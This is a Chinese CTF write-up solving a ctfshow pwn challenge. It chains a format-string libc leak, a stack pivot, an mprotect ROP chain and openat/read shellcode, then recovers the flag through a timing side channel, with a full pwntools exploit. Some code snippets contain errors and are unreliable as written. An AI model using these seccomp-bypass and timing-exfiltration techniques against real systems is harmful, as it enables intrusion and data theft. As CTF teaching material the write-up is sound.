前言最近总在一些群里听一些大佬在讨论侧信道攻击这种东西,终于在周末打ctfshow的卷王杯的时候终于见到了侧信道攻击的题目,并且复现了一下,对侧信道其中的姿势深感佩服。所以想要写下…
0x00前言
最近总在一些群里听一些大佬在讨论侧信道攻击这种东西,终于在周末打ctfshow的卷王杯的时候终于见到了侧信道攻击的题目,并且复现了一下,对侧信道其中的姿势深感佩服。所以想要写下这篇文章分享一下侧信道攻击的技术。
0x01侧信道攻击是什么
侧信道攻击是一种非正常的攻击手段,是一种利用计算机不经意间发出的声音来判断计算机的执行情况,比如通过散热器的响声大小来判断计算机所运行程序的复杂性;通过窃听敲击键盘的声音来及进行破译你所输入的是什么;或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量,来监视你的计算机。
在一些影视剧中,我们可能会看到许多类似的情节,通过听保险箱密码锁转动的声音来判断每一位密码的正确性。不光是影视剧中,现实中的测信道攻击也是存在的。2017年昆明的小学生通过‘听声音’一分钟解锁共享单车的密码锁,也属于是一种侧信道攻击的手段。
所谓侧信道就是和主信道相对而言的,我们的信息通过主信道进行传输,但是在密码设备进行密码处理的时候就会通过侧信道泄露一定的功耗、电磁辐射、热量、声音等信息,泄露的信息随着周围环境的不同而有所差距,所以在不同的环境条件下同样信息的侧信道数据是不同的。攻击者就是通过分析信息之间的差异来得出设备的信息或者说是密文内容。
0x02PWN中的侧信道攻击
pwn除非是在很极端的情况下才用得到侧信道攻击,在解题的过程中程序开启了沙箱禁用了execve函数,使我们不能够正常提权拿到shell去cat flag。通常这种情况就需要我们使用orw去输出flag,即利用open、read、write函数将flag从文件中读入到内存当中,然后利用write函数输出flag,事实上这种情况也是蛮理想的,可以直接拿到flag的明文。如果程序在攻击的过程中同时仅用了write,或者是close(1)关闭了输出流我们应该怎么去获得flag。甚至是仅用了read函数的某些使用,这就用到了侧信道攻击在pwn中的运用。
侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag的明文,判断的依据一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高。
接下来就通过一道pwn题来理解一下侧信道攻击在ctf中的运用。
0x03题目
题目是ctfshow卷王杯的一道题目,比赛结束了还只有一解。
例行检查
开启了全部RELRO保护还有堆栈不可执行保护。
动态分析
执行了之后出现了一个输入点
测试格式化字符串漏洞:并发现第一个输入点是有格式化字符串漏洞的
在此之后还有一个输入点:并且这个输入点不存在格式化字符串漏洞。
测试第二个输入点的栈溢出,似乎是存在栈溢出的,但是也不能直接确定,还是需要通过静态分析来获得结果。
静态分析
main函数,和动调分析得到的结果是一样的
格式化字符串漏洞利用
我们似乎可以使用第一个输入点的格式化字符串漏洞来进行leak_libc地址
调试发现栈内是有libc中的地址的,可以通过__libc_main_main+243来leak libc地址。
s(b'%25$p')
ru(b"Hello, ")
libc_base = int(r(16)[2:], 16) - 0x7f6c4a5320b3 + 0x7f6c4a50b000
print(hex(libc_base))
栈迁移利用
接下来就是栈溢出的漏洞了,只溢出了0x10长度的字符,也就是能够覆盖到rbp,ret的位置。也不难想到这种溢出较少的展出是在考察栈迁移,那么要把栈迁到哪里去那?首先,先要搞清楚栈迁移是为了什么?无非就是两种,第一执行栈以外地方的东西,第二就是向其他地方写入东西。程序中没有后门或者写好的shellcode,显然是第二种情况。我们看一下read函数的汇编。
可以看出read写入的地址是以rbp为索引的,所以我们如果能控制rbp的值就可以实现任意地址写,那我们利用就显得很方便了。首先,利用第二种栈迁移将栈迁移到bss段写入我们需要执行的东西,然后利用第一种栈溢出去执行我们写入的shellcode或者gadget去执行。
orw实现
再来看一下sandbox,本来我是不知道这个也可以实现sandbox功能的,但是wp上写了有沙箱我找了好久才意识到这个函数的,此函数的具体用法参考:
用prctl系统调用实现自定义过滤规则的seccomp - Homura''
s Blog
是个黑名单式的sandbox,禁用了socket,open,read啧啧啧啧,束手无策来着,没有办法orw了哇,close(1)关闭了输出流了。socket被禁用应该是为了防止重启输出流。
#######################看了官方wp之后##########################
明白!虽然仅用了open的系统调用,还可以使用openat系统调用,引用官方wp的一句话
libc中的open函数就是对openat这个底层系统调用的封装
orw中,o有了再来看看r怎么整。read相关系统调用并不是全部都禁用了,当read得fd为0的时候,read是可用的。对于常规的orw来说,open一个文件之后,由于012都用做标准输入输出,报错占用了,所以文件描述都是从3开始的,倘若我们再open之前close(0)之后,再进行open的话,那么文件描述符就是0了,这样的话就可以read了。
#############################################################
这样的话我们就可以写入read的系统调用
sc_read = f'''
xor rax, rax #将rax,rdx中清零
xor rdi, rdi
push {bss_addr+0x100}#将迁移的地址pop进rsi寄存器作为第二个
pop rsi
push 0x100 #将0x100的数值pop进rdx中作为第三个参数
pop rdx
syscall #触发系统调用
jmp rsi
'''
(写shellcode一定要指定arch哇,不然就跟我似的整了半下午的shellcode,最后加了个arch给解决了。)
我们先看bss段的base是多少,由于没有开启pie,因此我们从ida上就可以得到bss的地址
得到了bss的基地址是0x404020,但是在我们调试的时候发现这一段似乎并没有可执行的权限
可读可写但是不可执行,这样的话我们需要先赋予bss段可执行的权限,这就想到了mprotect函数。栈迁移到bass段之后,要先写入的是mprotect函数赋权的行为。那首先将我们需要用到的gadget还有地址写上。
bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402
pop_rdi_ret = libc_base + 0x26bb2
pop_rsi_ret = libc_base + 0x2709c
pop_rdx_r12_ret = libc_base + 0x11c421
着手去整,一步一步来走不通了想办法解决哇。
先进行ebp的劫持,然后向bss段上面写东西。
pl = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
pl += p64(bss_addr + len(pl) + 8) + asm(shellcode_read)
pl += pl.ljust(0x80, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
sleep(0.1)
s(pl)
经过了这个payload之后,通过迁移我们将mrotect写入了bss段,然后再经过一次迁移将orw的shellcode写入bss上并跳转执行,接下来的问题就是解决orw中的w的问题emmm,,
侧信道攻击(重要的来了
我又打开了writeup
对于write的话我们可以使用侧信道攻击的方式,就是要对flag的每一位进行爆破,与我们已经read读入到内存中的真实flag进行对比,比如,若是相等就触发死循环,那么我们就可以通过判断接受数据用了多长时间来判断爆破是否正确,就是对flag的每一位进行爆破,当超过1秒则说明我们测试当下位的猜测正确。由于侧信道最好是通过shellcode来实现,故再之前需要使用mprotect的gadget链改一下bss段的可执行权限,而一次性只能读入0x80的大小的数据,可能无法将orw的shellcode和mprotect的gadget一起读进bss段,因此,我们可以先写一小段<b>shellcode</b>
作为跳板和mprotect
的gadget
一起读入到bss
段,再通过这个跳板,将orw
的shellcode
读到bss
段上并跳转执行。
pwn中侧信道攻击的主要思想是:爆破。由于程序中的沙盒禁用了输出流,致使我们不能够直接获得flag的明文,这就是主信道获取信息的方式已经不能够被实现,然后我们使用flag中可能有的所有字符当作字典,逐位进行爆破,通过cmp返回的不同信息来判断flag的明文。这就是侧信道攻击的思想。
shellcode_main = f'''
/* close(0) */#关闭输入流
push 3
pop rax
xor rdi, rdi
syscall
/* openat("/flag") */
push 257
pop rax
/* ( absolute path ) */
mov rsi, 0x67616c662f
push rsi
mov rsi, rsp
/*
( relative path )
push -100
pop rdi
push 0x67616c66
push rsp
pop rsi
*/
syscall
/* read flag */
xor rax, rax
xor rdi, rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
/* blow up flag */
mov al, byte ptr[rsi+{pos}]
cmp al, {char}
ja $-2
ret
'''
sleep(0.1)
s(asm(shellcode_main))
其实这个shellcode可以当作模板来存下,之后再遇到此类题目的时候稍微改一改就可以用了
exp:
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'
binary = "checkin"
libcelf = "libc-2.30.so"
ip = ""
port = ""
local = 1
arm = 0
core = 64
og = [0x4342,0x3342]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda:p.interactive()
uu32= lambda data :u32(data.ljust(4,'\x00'))
uu64= lambda data :u64(data.ljust(8,'\x00'))
leak= lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
if(local==1):
if(arm==1):
if(core==64):
p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
if(core==32):
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(binary)
else:
p = remote(ip,port)
elf = ELF(binary)
libc = ELF(libcelf)
bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402
possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
def pwn(pos, char):
sla(b"name :\n", b'%25$p')
ru(b"Hello, ")
libc_base = int(r(16)[2:], 16) - 0x7f6c4a5320b3 + 0x7f6c4a50b000
pl = b'\x00'*0x80 + p64(bss_addr + 0x80) + p64(read_addr)
sa(b"check in :\n", payload)
shellcode_read = f'''
xor rax, rax
xor rdi, rdi
push {bss_addr+0x100}
pop rsi
push 0x100
pop rdx
syscall
jmp rsi
'''
pop_rdi_ret = libc_base + 0x26bb2
pop_rsi_ret = libc_base + 0x2709c
pop_rdx_r12_ret = libc_base + 0x11c421
mprotect_addr = libc_base + libc.sym['mprotect']
pl = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
pl += p64(bss_addr + len(pl) + 8) + asm(shellcode_read)
pl = pl.ljust(0x80, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
sleep(0.1)
s(pl)
shellcode_main = f'''
/* close(0) */
push 3
pop rax
xor rdi, rdi
syscall
/* openat("/flag") */
push 257
pop rax
/* ( absolute path ) */
mov rsi, 0x67616c662f
push rsi
mov rsi, rsp
/*
( relative path )
push -100
pop rdi
push 0x67616c66
push rsp
pop rsi
*/
syscall
/* read flag */
xor rax, rax
xor rdi, rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
/* blow up flag */
mov al, byte ptr[rsi+{pos}]
cmp al, {char}
ja $-2
ret
'''
sleep(0.1)
s(asm(shellcode_main))
'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
if __name__ == '__main__':
pwn()
'''
if __name__ == '__main__' :
start = time.time()
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
while left < right :
mid = (left + right) >> 1
p = process(binary)
pwn(pos, ord(possible_list[mid]))
s = time.time()
r(timeout = 1)
t = time.time()
p.close()
if t - s > 1 :
left = mid + 1
else :
right = mid
flag += possible_list[left]
info(flag)
if possible_list[left] == '}' :
break
pos = pos + 1
success(flag)
end = time.time()
success("time:\t" + str(end - start) + "s")
- 本文作者: 大能猫
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1343
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!